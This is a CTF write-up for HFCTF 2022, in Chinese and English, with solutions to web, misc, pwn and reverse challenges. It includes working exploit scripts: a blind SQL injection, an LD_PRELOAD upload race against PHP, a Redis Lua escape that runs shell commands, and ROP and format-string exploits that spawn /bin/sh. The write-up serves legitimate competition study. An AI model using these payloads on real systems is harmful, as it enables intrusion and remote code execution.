虎符CTF2022

date
Mar 22, 2022
slug
hufuctf-2022
status
Published
tags
CTF
WriteUP
summary
type
Post

虎符2022 WriteUp by Z00M

Web

babysql

import requests as req

res = 'm52FPlDxYyLB^e'

string = [ord(i) for i in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}!@$^&._']
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
}

for i in range(50):
    for j in string:
        url = "<http://47.107.231.226:20354/login>"
        data = {
            'username': "1'||case'1'when`password`like'{0}%'COLLATE'utf8mb4_0900_as_cs'then'aaa'regexp'^a'else~0+~0+'1'end='0".format(
                res + chr(j)),
            'password': '123'
        }
        request = req.post(url, data=data, headers=headers)
        if '401' in request.text:
            res += chr(j)
            print("result:" + res)
            break
        else:
            pass

ezphp

题⽬附件直接给了⼀个docker,⽅便本地部署直接docker起⼀个环境。简单看了下是⼀个⼲净的debian系统,代 码就⼀个index.php
⽣成⼀个so⽂件
注意这⾥⾯要加⼀个 unsetenv("LD_PRELOAD"); 否则会陷⼊⽆限死循环
notion image
怎么让⼀个⼆进制⼤⼀些
刚开始任务是在c源代码⾥⾯写很多printf之类的,增⼤体积,当然这样也是可以的。
后⾯发现其实⼀个so⽂件尾部追加脏字符也是可以的
notion image
这⾥因为都是⾛docker,我们根据本地调试确定⼤概fd位置,其实如果不给docker的话还是要爆破⼀下pid
import _thread
import time
import requests

addr = "<http://120.79.121.132>:xxxx"


def tr1():
    while 1:
        files = open("1.so", 'rb')
        url = addr + "/index.php"
        requests.post(url, data=files)
        time.sleep(1)


def tr2():
    while 1:
        for i in range(11, 16):
            response = requests.get(addr + "/index.php?env=LD_PRELOAD=/proc/12/fd/../../12/fd/" + str(i))
            print(str(i) + " Response body: %s" % response.content)
        time.sleep(2)


try:
    _thread.start_new_thread(tr1, ())
    _thread.start_new_thread(tr2, ())
except:
    print("Error: ⽆法启动线程")
while 1:
    pass

如果加载到了返回是空,我们也可以依此判断是否成功。
notion image

Misc

Quest-Crash

让redis服务down就行了,我尝试同时对set,get ,flush发包爆破让它服务崩溃,然后getflag
notion image

checkin

关注公众号,然后发消息然后等一会截个图就有了
notion image

Plain Text

^先base64得到dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ.
然后大小写转换一下Dobro povalowatx na mat^, wy dolvny perewesti \to na anglijskij qzyk. Twoj sekret sostoit iz dwuh slow. Wse bukwy stro^nye. Qblo^nyj arbuz. Velaem wam otli^nogo dnq.
用谷歌翻译俄语得到Welcome to motherland, you must translate then into English. Your secret consists of two words. All letters of the fruits. Apple watermelon. We wish you a great day.
最后根据要求输入HFCTF{apple_watermelon}

Quest-RCE

直接就是Redis RCE
{"query":"SET A A\\r\\neval \\"local io_l = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_io'); local io = io_l(); local f = io.popen('ls', 'r'); local res = f:read('*a'); f:close(); return res\\" 0 \\r\\n"}
\n换行 完事

Crypto

Pwn

gogogo

我愿称它为miscgopwn,整个程序流程可以在math_init函数看到。。不知道出题人为什么那么闲一个字符一个字符的输出555,
notion image
在第一关的地方输入1717986918,进入1A2B小游戏,根据流程分析猜测在小游戏后面辉有漏洞,拉到该函数流程最底下,发现存在一个read函数,在这存在一个溢出,至于过1A2B小游戏参考该文章进行小改就可以通关
notion image
notion image
进入到菜单后发现木有合适的位置,根据流程发现应该直接退出然后进入到READ函数
notion image
在确定的地方,这里写入0x460+大小的字符会溢出
于是选择此处构建链子进行ROP攻击,这里发现只能用ropper才能搜到pop,ropgadget不知道为啥不行
notion image
# coding=utf-8
from pwn import *
context.log_level = 'debug'
flag=1

if flag==1:
	p=remote("120.25.148.180","38225")
else:
	p=process("./gogogo")

s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\\0'))
uu64    = lambda data   :u64(data.ljust(8, '\\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))

def guessTrainner():
   start =time.time()
   answerSet=answerSetInit(set())
   for i in range(6):
      inputStrMax=suggestedNum(answerSet,100)
      print('第%d步----' %(i+1))
      print('尝试:' +inputStrMax)
      print('----')
      AMax,BMax = compareAnswer(inputStrMax)
      print('反馈:%dA%dB' % (AMax, BMax))
      print('----')
      print('排除可能答案:%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))
      answerSetUpd(answerSet,inputStrMax,AMax,BMax)
      if AMax==4:
         elapsed = (time.time() - start)
         print("猜数字成功,总用时:%f秒,总步数:%d。" %(elapsed,i+1))
         break
      elif i==5:
         print("猜数字失败!")


def compareAnswer(inputStr):
	inputStr1 = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]
	p.sendline(inputStr1)
	ru('\\n')

	tmp = p.recvuntil('B',timeout=0.5)
	# print(tmp)
	if tmp == '':
		return 4,4
	tmp = tmp.split("A")
	A = tmp[0]
	B = tmp[1].split('B')[0]
	return int(A),int(B)

def compareAnswer1(inputStr,answerStr):
   A=0
   B=0
   for j in range(4):
      if inputStr[j]==answerStr[j]:
         A+=1
      else:
         for k in range(4):
            if inputStr[j]==answerStr[k]:
               B+=1
   return A,B

def answerSetInit(answerSet):
   answerSet.clear()
   for i in range(1234,9877):
      seti=set(str(i))
      if len(seti)==4 and seti.isdisjoint(set('0')):
         answerSet.add(str(i))
   return answerSet

def answerSetUpd(answerSet,inputStr,A,B):
   answerSetCopy=answerSet.copy()
   for answerStr in answerSetCopy:
      A1,B1=compareAnswer1(inputStr,answerStr)
      if A!=A1 or B!=B1:
         answerSet.remove(answerStr)

def answerSetDelNum(answerSet,inputStr,A,B):
   i=0
   for answerStr in answerSet:
      A1, B1 = compareAnswer1(inputStr, answerStr)
      if A!=A1 or B!=B1:
         i+=1
   return i


def suggestedNum(answerSet,lvl):
   suggestedNum=''
   delCountMax=0
   if len(answerSet) > lvl:
      suggestedNum = list(answerSet)[0]
   else:
      for inputStr in answerSet:
         delCount = 0
         for answerStr in answerSet:
            A,B = compareAnswer1(inputStr, answerStr)
            delCount += answerSetDelNum(answerSet, inputStr,A,B)
         if delCount > delCountMax:
            delCountMax = delCount
            suggestedNum = inputStr
         if delCount == delCountMax:
            if suggestedNum == '' or int(suggestedNum) > int(inputStr):
               suggestedNum = inputStr

   return suggestedNum


ru("PLEASE INPUT A NUMBER:")
p.sendline("1717986918")
ru("PLEASE INPUT A NUMBER:")
p.sendline("1234")
ru("YOU HAVE SEVEN CHANCES TO GUESS")
guessTrainner()
sa("AGAIN OR EXIT?","exit")
sla("(4) EXIT","4")


payload="/bin/sh\\x00"+"a"*(0x458)+p64(0x405b78)+p64(0x405b78)+p64(0x45cbe4)+p64(0x45afa8)+p64(0)+'/bin/sh\\x00'+p64(0x45bcbc)+p64(0x405b78)+p64(59)+p64(0x45C849)

sla("ARE YOU SURE?",payload)
p.interactive()




#sla("OKAY YOU CAN LEAVE YOUR NAME AND BYE~",payload)

#p.interactive()

babygame

notion image
答对100题目 可以进入一个格式化字符漏洞的函数
notion image
notion image
很明显发现了一个格式化字符串漏洞,借助这里以及oneGadget来getshell
notion image
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

#p=process('./babygame')
p=remote('120.25.205.249',30647)
context(arch='amd64', os='linux')
libc=ELF('libc-2.31.so')
lib=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\\0'))
uu64    = lambda data   :u64(data.ljust(8, '\\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))

def lg(name,val):
    log.success(name+' : '+hex(val))

lib.srand(0x1111111111111111)
p.recvuntil(':')
p.send(0x109*'\\x11')
p.recvuntil(0x109*'\\x11')
canary=u64(p.recv(7).rjust(8,'\\x00'))
stack=u64(p.recv(6).ljust(8,'\\x00'))
lg('canary',canary)
lg('stack',stack)

answer=0

for i in range(100):
    p.recvuntil(':')
    num=lib.rand()%3
    if num==0:
        answer=1
    if num==1:
        answer=2
    if num==2:
        answer=0
    p.sendline(str(answer))

context.log_level='debug'
p.recvuntil('you.')
payload='%62c%9$hhnaaaaaa'+'aaa%27$p'+p64(stack-536)
p.sendline(payload)
p.recvuntil('0x')
libc.address=int(p.recv(12),16)-20-libc.sym['atoi']
lg('libc.address',libc.address)
#0xe3b2e execve("/bin/sh", r15, r12)
#constraints:
#  [r15] == NULL || r15 == NULL
#  [r12] == NULL || r12 == NULL

#0xe3b31 execve("/bin/sh", r15, rdx)
#constraints:
#  [r15] == NULL || r15 == NULL
#  [rdx] == NULL || rdx == NULL

#0xe3b34 execve("/bin/sh", rsi, rdx)
#constraints:
#  [rsi] == NULL || rsi == NULL
#  [rdx] == NULL || rdx == NULL

fuck_gadget=[0xe3b2e,0xe3b31,0xe3b34]
writes={stack-536:0xe3b2e+libc.address}
payload=fmtstr_payload(6,writes)

p.sendline(payload)

Reverse

fpbe

bpf program
/**
 * @brief **bpf_program__attach_uprobe()** attaches a BPF program
 * to the userspace function which is found by binary path and
 * offset. You can optionally specify a particular proccess to attach
 * to. You can also optionally attach the program to the function
 * exit instead of entry.
 *
 * @param prog BPF program to attach
 * @param retprobe Attach to function exit
 * @param pid Process ID to attach the uprobe to, 0 for self (own process),
 * -1 for all processes
 * @param binary_path Path to binary that contains the function symbol
 * @param func_offset Offset within the binary of the function symbol
 * @return Reference to the newly created BPF link; or NULL is returned on error,
 * error code is stored in errno
 */
LIBBPF_API struct bpf_link *
bpf_program__attach_uprobe(const struct bpf_program *prog, bool retprobe,
			   pid_t pid, const char *binary_path,
			   size_t func_offset);
try use bpftool to dump IR code
> bpftool prog show
259: kprobe  name uprobe  tag d833ddf75360d0b4  gpl
        loaded_at 2022-03-19T11:15:32+0800  uid 0
        xlated 792B  jited 607B  memlock 4096B

> bpftool prog dump xlated id 259
···

> bpftool prog dump xlated id 259 visual &> output.out
> dot -Tpng output.out -o visual-graph.png
generate pseudo C

data = """   0: (79) r2 = *(u64 *)(r1 +104)
   1: (67) r2 <<= 32
   2: (77) r2 >>= 32
   ...
"""

av = []
for line in data.splitlines():
    if "goto" in line:
        t = line.split("goto")
        condtion, gotoLine = t[0].split("if")[1], f'goto _{str(int(line[:4]) + int(t[1].split("+")[1]) + 1)}'
        av.append("_"+line[:6].strip(" ") + f"if({condtion})" + '{' + gotoLine + ';}')
    else:
        av.append("_"+line[:6].strip(" ")+line[10:]+";")

print("\\n".join(av))

compile
#include <cstdint>
#include <cstdio>
#include <string>


typedef uint64_t u64;
typedef uint8_t u8;
typedef uint32_t u32;

int main() {
    u64 flag[4] = {0,1,2,3};
    u64 r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10;
    _0: r2 = *(u64 *)flag[2];
    _1: r2 <<= 32;
    _2: r2 >>= 32;
    _3: r3 = *(u64 *)flag[3];
    _4: r3 <<= 32;
    _5: r3 >>= 32;
    _6: r4 = r3;
    _7: r4 *= 28096;
    _8: r5 = r2;
    _9: r5 *= 64392;
    _10: r5 += r4;
    _11: r4 = *(u64 *)flag[1];
    _12: r4 <<= 32;
    _13: r4 >>= 32;
    _14: r0 = r4;
    _15: r0 *= 29179;
    _16: r5 += r0;
    _17: r1 = *(u64 *)flag[0];
    _18: r0 = 0;
    _19: *(u8 *)(r10 -8) = r0;
    _20: *(u64 *)(r10 -16) = r0;
    _21: *(u64 *)(r10 -24) = r0;
    _22: r1 <<= 32;
    _23: r1 >>= 32;
    _24: r0 = r1;
    _25: r0 *= 52366;
    _26: r5 += r0;
    _27: r6 = 1;
    _28: r0 = 0xbe18a1735995;
    _30:if( r5 != r0 ){goto _97;}
    _31: r5 = r3;
    _32: r5 *= 61887;
    _33: r0 = r2;
    _34: r0 *= 27365;
    _35: r0 += r5;
    _36: r5 = r4;
    _37: r5 *= 44499;
    _38: r0 += r5;
    _39: r5 = r1;
    _40: r5 *= 37508;
    _41: r0 += r5;
    _42: r5 = 0xa556e5540340;
    _44:if( r0 != r5 ){goto _97;}
    _45: r5 = r3;
    _46: r5 *= 56709;
    _47: r0 = r2;
    _48: r0 *= 32808;
    _49: r0 += r5;
    _50: r5 = r4;
    _51: r5 *= 25901;
    _52: r0 += r5;
    _53: r5 = r1;
    _54: r5 *= 59154;
    _55: r0 += r5;
    _56: r5 = 0xa6f374484da3;
    _58:if( r0 != r5 ){goto _97;}
    _59: r5 = r3;
    _60: r5 *= 33324;
    _61: r0 = r2;
    _62: r0 *= 51779;
    _63: r0 += r5;
    _64: r5 = r4;
    _65: r5 *= 31886;
    _66: r0 += r5;
    _67: r5 = r1;
    _68: r5 *= 62010;
    _69: r0 += r5;
    _70: r5 = 0xb99c485a7277;
    _72:if( r0 != r5 ){goto _97;}
    _73: *(u32 *)(r10 -12) = r1;
    _74: *(u32 *)(r10 -16) = r4;
    _75: *(u32 *)(r10 -20) = r2;
    _76: *(u32 *)(r10 -24) = r3;
    _77: r1 = 0xa7d73257b465443;
    _79: *(u64 *)(r10 -40) = r1;
    _80: r1 = 0x4648203a47414c46;
    _82: *(u64 *)(r10 -48) = r1;
    _83: r1 = 0x2052554f59202145;
    _85: *(u64 *)(r10 -56) = r1;
    _86: r1 = 0x4e4f44204c4c4557;
    _88: *(u64 *)(r10 -64) = r1;
    _89: r6 = 0;
    _90: *(u8 *)(r10 -32) = r6;
    _91: r1 = r10;
    _92: r1 += -64;
    _93: r3 = r10;
    _94: r3 += -24;
    _95: r2 = 33;
    _96:printf((char*)r1, r3);
    _97: r0 = r6;
    _98: exit;
    printf("\\n");

    return 0;


}

notion image
the system of equtions
from z3 import *

MEMORY = [BitVec(f"MEMORY{i}", 64) for i in range(4)]


sol = Solver()

sol.add(52366 * MEMORY[0] + 29179 * MEMORY[1] + 28096 * MEMORY[3] + 64392 * MEMORY[2] == 0xBE18A1735995)
sol.add(37508 * MEMORY[0] + 44499 * MEMORY[1] + 61887 * MEMORY[3] + 27365 * MEMORY[2] == 0xA556E5540340)
sol.add(59154 * MEMORY[0] + 25901 * MEMORY[1]+ 56709 * MEMORY[3] + 32808 * MEMORY[2] == 0xA6F374484DA3)
sol.add(62010 * MEMORY[0] + 31886 * MEMORY[1] + 33324 * MEMORY[3] + 51779 * MEMORY[2] == 0xB99C485A7277)

assert sol.check() == sat

mol = sol.model()
print(''.join([int.to_bytes(mol.eval(i).as_long(), length=8, byteorder="little")[:4].decode() for i in MEMORY][::-1]))

Contra 2048

the native libs use ollvm bcf obfuscate, and xor string.
use frida dump from the memory.
then, look at anti debug.
notion image
it’s easy to patch.
let’s focus on pcap
analyze asm to get the message struct
struct msg
{
  _DWORD header;
  _DWORD type;
  _DWORD time;
  _DWORD hash;
  _DWORD flag;
  BYTE data[32];
};
we should focus on type 2, the encrypt plaintext format is
  • 4 bytes nums (0xdead + index)
  • 1 bytes input
  • zero padding
notion image
concat input after aes decryption.
from construct import *
from Crypto.Cipher import AES

st = Struct(
    Const(b"HUFU"),
    "type" / Int32ul,
    "time" / Int32ul,
    "hash_0" / Hex(Int32ul),
    "flag" / Int32ul,
    "data" / Select(Bytes(32), Hex(Int64ul)),

)


peer0 = [[]] * 51

peer0[0] = [ # Packet 1
0x48, 0x55, 0x46, 0x55, 0x00, 0x00, 0x00, 0x00,
0x7a, 0x81, 0x13, 0x62, 0xcd, 0xd7, 0x40, 0x15,
0x20, 0x00, 0x00, 0x00, 0x62, 0x73, 0x6f, 0x54,
0x49, 0x4e, 0x58, 0x66, 0x50, 0x66, 0x58, 0x5a,
0x70, 0x51, 0x5a, 0x72, 0x65, 0x41, 0x4d, 0x75,
0x77, 0x73, 0x61, 0x56, 0x50, 0x75, 0x65, 0x6f,
0x6e, 0x72, 0x73, 0x47 ]
# ···


arrs = [bytearray(i) for i in peer0]

valueArr = []

for i in range(len(arrs)):
    data = arrs[i]
    p = st.parse(data)
    print(f"{i}:", p)
    if p["data"][0] == 0xff:
        ctx = AES.new(key=b"KZoLJZlLkRlMOtuD", mode=AES.MODE_ECB)
        value = p["data"][1:17]
        dec = ctx.decrypt(value)
        if dec[1] == 0xde:
            valueArr.append(dec)
        print("aesdec", dec.hex(), value.hex())


print(([i[4] for i in valueArr]))

the xtea encrypt before enter native space
notion image
enter native space, modify aes encryption first.
notion image
solve it.
#include <cstdint>
#include <cstdio>
#include <string>

#define AES_BLOCK_SIZE      16
#define AES_ROUNDS          10  // 12, 14
#define AES_ROUND_KEY_SIZE  176 // AES-128 has 10 rounds, and there is a AddRoundKey before first round. (10+1)x16=176.

/*
 * round constants
 */
static uint8_t RC[] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36};

/*
 * Sbox
 */
static uint8_t SBOX[256] = {
        0xFC, 0xA1, 0xC1, 0x37, 0x3B, 0x43, 0x15, 0xDE, 0x7E, 0x24, 0x22, 0xEA, 0x62, 0xC2, 0x9F, 0x8F,
        0xA0, 0x3D, 0xF0, 0x05, 0xA9, 0x7B, 0x74, 0x50, 0xB9, 0x71, 0x58, 0x0F, 0xE1, 0x21, 0xB0, 0x85,
        0x25, 0x8D, 0x6A, 0x97, 0x91, 0x3F, 0xAD, 0x6D, 0xB7, 0xB4, 0xD0, 0x2C, 0x0C, 0x56, 0x7A, 0xAB,
        0x0A, 0x5B, 0x83, 0xC5, 0xD6, 0x52, 0xB6, 0x88, 0xC0, 0xC4, 0x5F, 0x92, 0xBC, 0xE2, 0x1A, 0x4D,
        0x76, 0x1F, 0x89, 0x1C, 0x23, 0xDF, 0xCA, 0x60, 0xE0, 0x17, 0x36, 0x75, 0xA7, 0x9E, 0x14, 0x5A,
        0x02, 0x46, 0x4A, 0x11, 0x2F, 0x8B, 0xF4, 0x33, 0xF2, 0x6E, 0x72, 0xA5, 0xC7, 0xE3, 0xDA, 0x38,
        0x53, 0x9B, 0x87, 0x09, 0x01, 0x4B, 0xA4, 0x42, 0x2E, 0xE7, 0x3A, 0x84, 0x12, 0x7F, 0x07, 0xBE,
        0xC8, 0xC9, 0x13, 0x47, 0xFE, 0xD1, 0xAC, 0xF6, 0xF1, 0xA8, 0x96, 0xB2, 0xC6, 0x18, 0xFB, 0xD4,
        0x82, 0x16, 0x73, 0x64, 0x5E, 0x7D, 0xEF, 0x0E, 0xAE, 0xA2, 0x0B, 0x30, 0xF7, 0xDD, 0xA6, 0x29,
        0x6C, 0xDC, 0x98, 0xFA, 0xBD, 0x67, 0xD5, 0xD8, 0xAF, 0x51, 0xE4, 0xBF, 0x65, 0x1D, 0xF8, 0xCE,
        0x9C, 0x26, 0xF3, 0x2A, 0x9A, 0x45, 0x08, 0x5C, 0x57, 0x06, 0x54, 0x2B, 0x41, 0x70, 0xB1, 0x63,
        0x66, 0x3C, 0x44, 0x10, 0x31, 0x19, 0x86, 0x61, 0x6B, 0xD7, 0x79, 0xCB, 0x81, 0x69, 0x0D, 0xD2,
        0xFF, 0x2D, 0x40, 0x03, 0x90, 0x9D, 0xE9, 0x4C, 0xCD, 0x00, 0xE5, 0x80, 0xDB, 0xBA, 0xCF, 0x48,
        0xD9, 0x3E, 0xFD, 0x4F, 0xEE, 0x8E, 0x4E, 0x77, 0xA3, 0xB5, 0x5D, 0x32, 0xE6, 0x68, 0x27, 0xAA,
        0xE8, 0x55, 0xF5, 0xCC, 0x78, 0x6F, 0xD3, 0x93, 0x7C, 0x28, 0x99, 0x34, 0xB3, 0x04, 0x95, 0x49,
        0xED, 0x8A, 0xF9, 0x1E, 0xB8, 0xC3, 0x8C, 0x59, 0xEB, 0xEC, 0x35, 0x39, 0xBB, 0x1B, 0x94, 0x20};

/*
 * Inverse Sboxs
 */
static uint8_t INV_SBOX[256] = {
        0xc9, 0x64, 0x50, 0xc3, 0xed, 0x13, 0xa9, 0x6e, 0xa6, 0x63, 0x30, 0x8a, 0x2c, 0xbe, 0x87, 0x1b,
        0xb3, 0x53, 0x6c, 0x72, 0x4e, 0x06, 0x81, 0x49, 0x7d, 0xb5, 0x3e, 0xfd, 0x43, 0x9d, 0xf3, 0x41,
        0xff, 0x1d, 0x0a, 0x44, 0x09, 0x20, 0xa1, 0xde, 0xe9, 0x8f, 0xa3, 0xab, 0x2b, 0xc1, 0x68, 0x54,
        0x8b, 0xb4, 0xdb, 0x57, 0xeb, 0xfa, 0x4a, 0x03, 0x5f, 0xfb, 0x6a, 0x04, 0xb1, 0x11, 0xd1, 0x25,
        0xc2, 0xac, 0x67, 0x05, 0xb2, 0xa5, 0x51, 0x73, 0xcf, 0xef, 0x52, 0x65, 0xc7, 0x3f, 0xd6, 0xd3,
        0x17, 0x99, 0x35, 0x60, 0xaa, 0xe1, 0x2d, 0xa8, 0x1a, 0xf7, 0x4f, 0x31, 0xa7, 0xda, 0x84, 0x3a,
        0x47, 0xb7, 0x0c, 0xaf, 0x83, 0x9c, 0xb0, 0x95, 0xdd, 0xbd, 0x22, 0xb8, 0x90, 0x27, 0x59, 0xe5,
        0xad, 0x19, 0x5a, 0x82, 0x16, 0x4b, 0x40, 0xd7, 0xe4, 0xba, 0x2e, 0x15, 0xe8, 0x85, 0x08, 0x6d,
        0xcb, 0xbc, 0x80, 0x32, 0x6b, 0x1f, 0xb6, 0x62, 0x37, 0x42, 0xf1, 0x55, 0xf6, 0x21, 0xd5, 0x0f,
        0xc4, 0x24, 0x3b, 0xe7, 0xfe, 0xee, 0x7a, 0x23, 0x92, 0xea, 0xa4, 0x61, 0xa0, 0xc5, 0x4d, 0x0e,
        0x10, 0x01, 0x89, 0xd8, 0x66, 0x5b, 0x8e, 0x4c, 0x79, 0x14, 0xdf, 0x2f, 0x76, 0x26, 0x88, 0x98,
        0x1e, 0xae, 0x7b, 0xec, 0x29, 0xd9, 0x36, 0x28, 0xf4, 0x18, 0xcd, 0xfc, 0x3c, 0x94, 0x6f, 0x9b,
        0x38, 0x02, 0x0d, 0xf5, 0x39, 0x33, 0x7c, 0x5c, 0x70, 0x71, 0x46, 0xbb, 0xe3, 0xc8, 0x9f, 0xce,
        0x2a, 0x75, 0xbf, 0xe6, 0x7f, 0x96, 0x34, 0xb9, 0x97, 0xd0, 0x5e, 0xcc, 0x91, 0x8d, 0x07, 0x45,
        0x48, 0x1c, 0x3d, 0x5d, 0x9a, 0xca, 0xdc, 0x69, 0xe0, 0xc6, 0x0b, 0xf8, 0xf9, 0xf0, 0xd4, 0x86,
        0x12, 0x78, 0x58, 0xa2, 0x56, 0xe2, 0x77, 0x8c, 0x9e, 0xf2, 0x93, 0x7e, 0x00, 0xd2, 0x74, 0xc0,
};

// ......

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main() {

    uint8_t roundkeys[AES_ROUND_KEY_SIZE];
    uint8_t key[16] = {72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 32, 50, 48, 52, 56, 33};
    uint8_t data[48] = {174, 171, 207, 246, 74, 249, 129, 3, 174, 132, 149, 48, 57, 153, 218, 1, 53, 119, 54, 231, 124, 65, 77, 67, 239, 176, 170, 155, 1, 39, 33, 156, 2, 225, 14, 103, 194, 189, 254, 194, 163, 151, 234, 239, 101, 237, 139, 65};
    uint8_t out[48] = {0};
    aes_key_schedule_128(key, roundkeys);

    for (int i = 0; i < 3; ++i) {
        aes_decrypt_128(roundkeys, data+16*i, out+16*i);
    }


    uint32_t const k[4] = {745567528,745567520,2003788832,1679830126};
    for (int i = 0; i < 6; ++i) {
        uint32_t v[2] = {((uint32_t *) out)[i * 2], ((uint32_t *) out)[i * 2 + 1]};
        decipher(32, v, k);
        printf("0x%08x, 0x%08x, ", v[0], v[1]);
    }

    return 0;
}

the_shellcode

themida unpacked.
shellcode xxtea
notion image
modify MX part: z>>6
#include <cstdint>
#include <cstdio>
#include <string>


#define DELTA 0x9e3779b9
#define MX (((z>>6^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                uint32_t tmp = MX;
                v[p] += tmp;
                z = v[p];
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                v[p] -= MX;
                y = v[p];
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}

int main() {
    uint32_t const k1[4] = {'t', 'o', 'r', 'a'};

    uint32_t vs[66] = {
            0x4B6B89A1, 0x74C15453, 0x4092A06E, 0x429B0C07, 0x40281E84, 0x8B5B44C9, 0x66FEB37B, 0x3C77A603,
            0x79C5892D, 0x0D7ADA97, 0x1D51AA56, 0x02D4D703, 0x4FA526BA, 0x32FAD64A, 0x0C0F6091, 0x562B7593,
            0xDB9ADD67, 0x76165563, 0xA5F79315, 0x3AEB991D, 0x1AB721D4, 0xAACD9D2C, 0x825C2B27, 0x76A7761A,
            0xB4005F18, 0x117F3763, 0x512CC540, 0xC594A16F, 0xD0E24F8C, 0x9CA3E2E9, 0x0A9CC2D5, 0x4629E61D,
            0x637129E3, 0xCA4E8AD7, 0xF5DFAF71, 0x474E68AB, 0x542FBC3A, 0xD6741617, 0xAD0DBBE5, 0x62F7BBE3,
            0xC8D68C07, 0x880E950E, 0xF80F25BA, 0x767A264C, 0x9A7CE014, 0x5C8BC9EE, 0x5D9EF7D4, 0xB999ACDE,
            0xB2EC8E13, 0xEE68232D, 0x927C5FCE, 0xC9E3A85D, 0xAC74B56B, 0x42B6E712, 0xCD2898DA, 0xFCF11C58,
            0xF57075EE, 0x5076E678, 0xD4D66A35, 0x95105AB9, 0x1BB04403, 0xB240B959, 0x7B4E261A, 0x23D129D8,
            0xF5E752CD, 0x4EA78F70,
    };


    btea(vs, -66, k1);
    for (int i = 0; i < 33; ++i) {
        printf("0x%08x, 0x%08x, ", vs[i*2+0], vs[i*2+1]);
    }
    return 0;
}
reverse rol 3 bits
def ROR(data, shift, size=32):
       shift %= size
       body = data >> shift
       remains = (data << (size - shift)) - (body << size)
       return (body + remains)


value = [0x6243e703, 0x993831bb, 0x925c2396, 0x60925c81, 0x5ca0925c, 0xbd784193, 0xff993152, 0xe1650699, 0x6110e30b, 0x687e0e01,
0x8717c718, 0x925cba92, 0xe1125c80, 0x025c1618, 0x78062cc3, 0x0000f524, 0x82161800, 0x5cc0425c, 0xd61801c2, 0x7800cf1c,
0x00004d24, 0xa15c4a00, 0x9997185c, 0x650699ff, 0x18687e0e, 0xab26d1c7, 0x21e318a7, 0x21e3d920, 0x99ceab60, 0x1c4e99ff,
0xb5788216, 0x7e0e5020, 0x0ac71868, 0xab70cf1c, 0x687e0e8f, 0x99ff99ba, 0x21a25c4e, 0xb57892e1, 0x3bc570e0, 0xbf333333,
0x5cd78e5f, 0xf8470e16, 0x206c1618, 0xd2c65904, 0x5020b578, 0x7e0e1e59, 0x0ac71868, 0xab70cf1c, 0x687e0ea6, 0xa321e1d9,
0x9b2943b0, 0x265c0000, 0x007b7343, 0x5c82a200, 0xff4221e2, 0x43a05f9e, 0x00009b29, 0xcb43265c, 0xa2009b2b, 0x21e25c82,
0xc29eff42, 0xc2c2c2c2, 0xc2c2c2c2, 0xfac21e0b, 0x4f905cd2, 0xffffff58,]

data = struct.pack("<66L", *value)

